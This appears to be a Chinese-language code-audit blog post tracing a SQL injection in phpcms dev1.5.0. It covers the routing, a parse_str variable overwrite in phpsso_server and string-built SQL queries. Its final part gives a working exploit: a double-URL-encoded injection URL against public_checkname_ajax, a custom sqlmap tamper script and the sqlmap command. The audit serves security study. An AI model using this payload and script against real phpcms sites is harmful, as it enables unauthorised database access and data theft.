phpcms dev1.5.0 sql注入漏洞
最近开始系统的学习代码审计了,审计以下phpcms的sql注入漏洞
环境准备
- php5.6
- mysql5.6
- 项目源码:https://pan.baidu.com/s/1qAbrA3QMwKOJkEYuBdhxvQ 提取码: 6666
phpcms是⼀个⼀分为⼆的cms
目录树
phpcms
├── api/ # 接口文件
├── caches/ # 缓存 包括配置文件
├── phpcms/ # 用于处理前端交互的cms
├── phpsso_server/ # cms 用于与phpcms进行交互
├── statics/ # 静态资源
├── uploadfile/ # 上传文件
├── admin.php
├── api.php
├── crossdomain.xml
├── favicon.ico
├── index.html
├── index.php
├── js.html
├── plugin.php
└── robots.txt
在⼤多数情况下,phpcms和phpsso_server和它俩部署在⼀台主机上。
路由分析
从index.php开始进行路由分析
⼀般⽽⾔,php的mvc都是这样做路由控制的:
定义一个常量,其他路由都只能通过入口页进入。
比如本例中,想要访问phpcms中的其他文件,需要先确定是否已经定义了IN_PHPCMS。
而IN_PHPCMS的定义在base.php中,也就是说想进入phpcms的其他路由,需要先执行base.php的代码。
该cms的首页index.php中包含了base.php文件
既然先执行base.php,那就分析一下base.php
# 用于路由访问控制
define('IN_PHPCMS', true);
define("各种需要用得到的常量",...)
# 关键点
//加载公用函数库
pc_base::load_sys_func('global');
->_load_func($func); //func 函数库名(在php中,函数名前用_是一种默认的规范,用于表示该方法是私有或者受保护的方法)
static $funcs = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions';
$path .= DIRECTORY_SEPARATOR.$func.'.func.php';//得到最终的php文件路径
//调试得到$path=libs/functions/global.func.php
//此处使用md5的目的是哈希散列存储
$key = md5($path);
if (isset($funcs[$key])) return true;
if (file_exists(PC_PATH.$path)) {
include PC_PATH.$path;
} else {
$funcs[$key] = false;
return false;
}
$funcs[$key] = true;
return true;
//包含global.func.php文件,该文件属于一个工具类
//加载libs/functions/extention.func.php文件
pc_base::load_sys_func('extention');
pc_base::auto_load_func();
->_auto_load_func()
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions'.DIRECTORY_SEPARATOR.'autoload';
$path .= DIRECTORY_SEPARATOR.'*.func.php';
$auto_funcs = glob(PC_PATH.DIRECTORY_SEPARATOR.$path);
//glob函数:寻找与pattern匹配的文件路径,只有plugin.func.php
if(!empty($auto_funcs) && is_array($auto_funcs)) {
foreach($auto_funcs as $func_path) {
include $func_path;
}
}
//此处目的://即加载libs/functions/autoload/*.func.php (所有工具类)
//其实只有libs/functions/autoload/plugin.func.php
// 加载配置/caches/configs/system.php 包含各种配置,并返回errorlog的值
pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE);
以上代码执行后,接着又对系统进行了一系列配置
最后执行的代码:(加载配置文件)
// 加载配置system.php 并返回gzip
if(pc_base::load_config('system','gzip') && function_exists('ob_gzhandler')) {
ob_start('ob_gzhandler');
//ob_start函数简单理解就是:执行ob_gzhandler函数对输出缓冲区进行操作
//ob_gzhandler() 会判定浏览器可以接受哪种类型的编码内容,并返回相应的输出
} else {
ob_start();
}
返回index.php,执行pc_base::creat_app();
调用栈如下
creat_app()
->load_sys_class('application')
->_load_class('application', $path='', $initialize=1)
//加载libs/classes/application.class.php,即启动类,默认初始化
//关键代码
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname; //$classname = "application"
if ($my_path =self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.
'.class.php'))//看是否有自己的扩展文件
{
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name; //初始化application类
} else {
$classes[$key] = true;
}
return $classes[$key];
先介绍一下param类,用于处理前端传递的参数
<?php
/**
* param.class.php 参数处理类
*/
//基中“m”为模块,“c”为控制器,“a”为事件
class param {
//路由配置
private $route_config = '';
//通过GET或者POST得到参数m,没有传参时会从/caches/configs/route.php中获取默认值
public function route_m() {
$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
if (empty($m)) {
return $this->route_config['m'];
} else {
return $m;
}
}
/**
* 获取控制器
*/
public function route_c() {
$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
if (empty($c)) {
return $this->route_config['c'];
} else {
return $c;
}
}
/**
* 获取事件
*/
public function route_a() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
if (empty($a)) {
return $this->route_config['a'];
} else {
return $a;
}
}
?>
application.class.php
可以通过传递参数访问不同的控制器类中的方法
实例化模块对象/控制器类/事件(方法)
即实例化content/index.php->init方法(初始化首页)
class application {
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param');//加载并初始化param类(参数处理类)
//获取模块 == content 管理和操作数据及业务逻辑,与数据库交互
define('ROUTE_M', $param->route_m());
//获取控制器 == index 处理用户输入,调用模型并返回相应的视图
define('ROUTE_C', $param->route_c());
//获取事件 == init 通过触发和监听事件来响应特定操作。
define('ROUTE_A', $param->route_a());
//初始化
$this->init();
}
// 初始化
private function init() {
//加载控制器并初始化,/modules/content/index.php
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {//控制器类中是否包含方法(init)
if (preg_match('/^[_]/i', ROUTE_A)) {//禁止访问私有方法
exit('You are visiting the action is to protect the private action');
} else {//调用方法,默认调用init方法(用于初始化首页内容)
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
// 是否有自己的扩展文件,即modules/content/MY_index.php
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
return new $classname;
} else {
exit('Controller does not exist.');
}
}
}
index控制器类
init方法用于加载首页内容
总结:
路由分析的目的:
http://192.168.144.142:90/phpcms/index.php?m=special&c=index&a=special&siteid=1
(随便点出来一个页面)解析出这个url是怎么找到路由的,答案就在param类中
业务分析
MVC架构
补充一下mvc架构,便于看懂每个cms的目录结构
- 模型Model:管理大部分的业务逻辑和所有的数据库逻辑。模型抽象简化了连接和操作数据库的操作。
- 控制器Controller:负责响应用户请求、准备数据,决定如何展示数据。
- 视图View:负责数据渲染,通过HTML方式呈现给用户。
phpsso_server分析
首先要搞清楚phpcms和phpsso_server的区别与联系:
- phpcms负责处理前端操作,即我们对网站页面的访问操作,而phpsso_server负责后端操作,包括对数据库的操作。
- 当有一些和用户权限、用户信息相关的业务发生时,phpcms和phpsso_server会进行通信。
举个例子
直接访问http://ip/index.php时其实访问的是phpcms
也可以直接访问http://ip/phpsso_server/index.php,访问的是phpsso_server
两个cms的入口文件处理方式完全一样,唯一的区别是默认的路由
phpsso_server一共只有两个模块:admin和phpsso模块
由于默认路由为/admin(modules)/index.php->init方法,那么先分析admin模块
在index.php中,主要是进行了访问控制功能
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
// 加载admin类但是不进行初始化
pc_base::load_app_class('admin', 'admin', 0);
class index extends admin {
private $db, $messagequeue_db;
public function __construct() {
//先调用父类的构造函数,父类即admin类
parent::__construct();
}
public function init() {
//得到用户信息
$userinfo = $this->get_userinfo();
// 加载后台模板
include $this->admin_tpl('index');
}
public function right()
}
?>
admin.class.php
<?php
define('IN_ADMIN', true);
class admin {
//数据库连接
private $db;
//错误代码
private $err_code;
/**
* 构造函数
* @param integer $issuper 是否为超级管理员
*/
public function __construct($issuper = 0) {
//加载模型admin_model.class.php
//审计知admin_model类是对admin表进行操作
$this->db = pc_base::load_model('admin_model');
$this->check_admin($issuper);
pc_base::load_app_func('global');
}
}
再分析phpsso模块,index.php部分代码如下
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
pc_base::load_app_class('phpsso', 'phpsso', 0);
pc_base::load_app_class('messagequeue', 'admin' , 0);
pc_base::load_app_func('global', 'admin');
class index extends phpsso {
private $username, $config;
public function __construct() {
//调用phpsso类的构造函数
parent::__construct();
// 加载配置
$this->config = pc_base::load_config('system');
//这里的$this->data数据来源是调用phpsso类构造函数得到的
$this->username = isset($this->data['username']) ? $this->data['username'] : '';
//对username进行一系列操作,不重要
if ($this->username && CHARSET != $this->applist[$this->appid]['charset']) {
if($this->applist[$this->appid]['charset'] == 'utf-8') {
if(is_utf8($this->username)) {
$this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);
}
} else {
if(!is_utf8($this->username)) {
$this->username = iconv($this->applist[$this->appid]['charset'], CHARSET, $this->username);
}
}
}
}
}
?>
phpsso类部分代码
<?php
//定义入口常量,说明可以直接访问这个页面
define('IN_PHPSSO', true);
class phpsso {
public $db, $settings, $applist, $appid, $data;
public function __construct() {
//加载member_model类,用于操作member表
$this->db = pc_base::load_model('member_model');
pc_base::load_app_func('global');
/*获取系统配置*/
$this->settings = getcache('settings', 'admin');
$this->applist = getcache('applist', 'admin');
//get参数中非m、c、a转为POST数组参数
if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
foreach($_GET as $k=>$v) {
if(!in_array($k, array('m','c','a'))) {
$_POST[$k] = $v;
}
}
}
//处理参数appid,没有传递appid参数会导致exit
if(isset($_POST['appid'])) {
$this->appid = intval($_POST['appid']);
} else {
exit('0');
}
//处理参数data
if(isset($_POST['data'])) {
//这里会对data进行解密操作
//关键点在于parse_str(字符串,解析后保存变量)存在变量覆盖漏洞
//sys_auth(数据,加解密,密钥)
parse_str(
sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
print_r($this->data);
if(get_magic_quotes_gpc()) {
$this->data = new_stripslashes($this->data);
}
if(!is_array($this->data)) {
exit('0');
}
} else {
exit('0');
}
if(isset($GLOBALS['HTTP_RAW_POST_DATA'])) {
$this->data['avatardata'] = $GLOBALS['HTTP_RAW_POST_DATA'];
if($this->applist[$this->appid]['authkey'] != $this->data['ps_auth_key']) {
exit('0');
}
}
}
}
漏洞成因分析
但是我们没有authkey(install时默认生成的随机字符串),因此无法构造data数据
利用思路:
程序本身肯定是存有authkey的,如果我们和phpcms通信,然后通过phpcms对数据进行加密后与phpsso_server进行通信,是不是就可以利用变量覆盖漏洞了?
与phpsso通信
通信:client客户端->phpcms->phpsso
也就是说,如果找到phpcms中的一个方法可以发起请求,由于phpcms知道authkey,那么phpcms会对数据进行encode,然后再去对phpsso发起请求。
php中发起http请求的方式
- fsockopen(sockets)
- curl
- HttpRequest类(pecl扩展)
- Client类(Guzzle库)
- file_get_contents(用的比较少)
- fopen(也不常用)`
全局查找curl_init()和curl_exec()
这三个地方代码基本上一致,都是为了请求第三方授权,url是写死的,只能作罢
fsockopen使用
进行http请求时,传入的hostname是www.example.com或ip,端口选择80/443
$host = 'www.example.com'; // 主机名
$port = 80; // 端口号
$path = '/path/to/resource'; // 请求的路径
// 初始化错误变量
$errno = 0;
$errstr = '';
// 创建连接
$fp = fsockopen ($host, $port, $errno, $errstr, 30);
if (!$fp) {
echo "无法连接: $errstr ($errno)\n";
} else {
// 构造请求头
$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
// 发送请求
fwrite ($fp, $out);
// 读取响应
while (!feof ($fp)) {
echo fgets ($fp, 128);
}
fclose ($fp); // 关闭连接
}
利用
限定范围查询fsockopen(hostname,port,errno,errstr,timeout)方法
需要找到参数可控,并且可以发起http请求的函数
存在三个可以利用的函数
- modules/member/classes/pay_abstract.class.php中的get_verify方法
- modules/sms/classes/smsapi.class.php的_post方法
- modules/member/classes/client.class.php的_ps_post方法
在前边的路由分析中知,我们可以直接调用的方法应该是modules/m/c.php->a方法
因此需要使用find usage功能往前找到可以调用的方法 - get_verify找不到可利用的点
- _post方法可以通过modules/sms/sms.php中的sms_sent方法利用,如果没有开启短信功能则不能利用
- _ps_post方法可以通过modules/sms/index.php中的public_checkname_ajax->ps_checkname(不止一个)->_ps_sent->_ps_post,更重要的是,_ps_sent方法默认的通信对象就是phpsso_server,并且在auth_data函数中对data进行了加密
public_checkname_ajax方法中走到ps_checkname应该是比较容易的
到此为止,可以构造url进行测试
http://192.168.144.142:90/phpcms/index.php?m=member&c=index&a=public_checkname_ajax&username=hello
由于我环境问题,一直无法调试本地回环的信息,因此直接构造请求包进行访问
http://192.168.144.142:90/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=checkname
post数据
v=1&appid=1&data=07f6VAkAA1MGUQkDCVYBUQ8EDlVUB1oHBwBTUwJMFVRKXFUJXA1bBloNVg
data中的数据即为username=hello
补充一个调试的方法,可以使用tcpdump指令
tcpdump -i lo port 90 -nne -A
继续看这段代码之后干了什么事情,跟到phpserver_sso的checkname中(部分代码)
public function checkname($is_return=0) {
if(empty($this->username)) {
if ($is_return) {
return -1;
} else {
exit('-1');
}
}
//非法用户名判断
$denyusername = $this->settings['denyusername'];
if(is_array($denyusername)) {
}
// 这里有数据库查询的操作,跟进去
$r = $this->db->get_one(array('username'=>$this->username));
if ($is_return) {
return !empty($r) ? -1 : 1;
} else {
echo !empty($r) ? -1 : 1;
exit;
}
}
get_one函数
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where))
//sqls方法用于生成sql语句
$where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
// sql语句是通过拼接得到的,并没有进行预编译
final public function sqls($where, $font = ' AND ') {
if (is_array($where)) {
$sql = '';
foreach ($where as $key=>$val) {
$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
}
return $sql;
} else {
return $where;
}
}
继续跟进mysql.class.php中的get_one,可以很明显的看出来整个sql语句都是字符串拼接得到的
public function get_one($data, $table, $where = '', $order = '', $group = '') {
$where = $where == '' ? '' : ' WHERE '.$where;
$order = $order == '' ? '' : ' ORDER BY '.$order;
$group = $group == '' ? '' : ' GROUP BY '.$group;
$limit = ' LIMIT 1';
$field = explode( ',', $data);
array_walk($field, array($this, 'add_special_char'));
$data = implode(',', $field);
//拼接得到完整的sql语句
$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
//执行sql语句
$this->execute($sql);
$res = $this->fetch_next();
$this->free_result();
return $res;
}
完美的契合sql注入的条件
- 可以执行sql语句
- 参数内容可控,并且没有经过预编译
绕过
这里还是有个问题,程序中对用户名的单引号进行了转义处理,因此当使用checkname时发现实际上的sql语句如下
需要尝试其他方法或者进行一个绕过
那么首先要知道单引号是在哪里被转义的?
对phpsso_server发送请求后,data首先经过sys_auth解码,此时数据中已经加入了转义符号,因此说明特殊字符被转义是在phpcms中进行的
其实在加载并初始化param类时就已经对数据进行了转义处理
此后在这里又对\和’都做了转义处理,导致最终出现了hello\\\'
但是这两个地方基本上是不能绕过的
parse_str特性
- 变量覆盖
- 解析url编码
构造payload
由于parse_str解析url编码的特性,那么可以使传入的data值包含url编码,然后通过parse_str处理后得到真正的payload。
如当我们传入hello%2527
时,phpcms首先会将其解析为hello%27
(不会被转义),然后传输给phpsso_server,phpsso_server会通过parse_str将之解析为hello'
也就是说,当我们需要传入注入的数据中包含特殊字符,都可以通过这个方法进行绕过
如"
可以变为%2522
,<
可以变为%253c
http://ip/phpcms/index.php?m=member&c=index&a=public_checkname_ajax&username=hello%2527and%20(select%20version())%23
另外还有一个需要注意的点,如果是使用hackbar发起请求的话,hackbar也会对url进行一次url解码,因此最好是使用bp发包。
编写sqlmap脚本
kali自带的sqlmap脚本位置在/usr/share/sqlmap/tamper
自己编写脚本时可以参照该模板
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
Description of your tamper script
'''
retVal = payload.replace("'", "%2527").replace('"',"%2522").replace("<","%253c") if payload else payload
# your code to tamper the original payload
# return the tampered payload
return retVal
使用命令进行注入
sqlmap -u "url" -p "参数名" --tamper="xxx.py"
注入结果